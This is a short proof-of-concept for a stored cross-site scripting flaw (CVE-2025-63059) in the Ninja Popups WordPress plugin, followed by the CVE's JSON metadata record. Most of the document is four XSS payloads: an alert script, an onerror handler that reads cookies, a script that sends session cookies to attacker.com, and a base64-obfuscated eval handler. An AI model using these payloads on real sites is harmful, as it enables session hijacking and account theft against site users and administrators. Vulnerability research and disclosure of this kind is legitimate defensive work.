CVE-2025-63059

<!-- CVE-2025-63059 PoC: Stored XSS in Ninja Popups --> <!-- This PoC demonstrates the stored XSS vulnerability in arscode Ninja Popups plugin <= 4.7.8 --> <!-- Method 1: Direct XSS payload in form field --> <script>alert('XSS - CVE-2025-63059')</script> <!-- Method 2: Event handler based XSS --> <img src=x onerror=alert(document.cookie)> <!-- Method 3: Steal session cookies --> <script> var cookies = document.cookie; // Send cookies to attacker controlled server fetch('https://attacker.com/steal?c=' + encodeURIComponent(cookies)); </script> <!-- Method 4: DOM manipulation payload --> <div onmouseover='eval(atob("YWxlcnQoJ1hTUycpOw=="))'>hover me</div>

{"cve": {"id": "CVE-2025-63059", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:11.370", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in arscode Ninja Popups arscode-ninja-popups allows Stored XSS.This issue affects Ninja Popups: from n/a through <= 4.7.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/arscode-ninja-popups/vulnerability/wordpress-ninja-popups-plugin-4-7-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}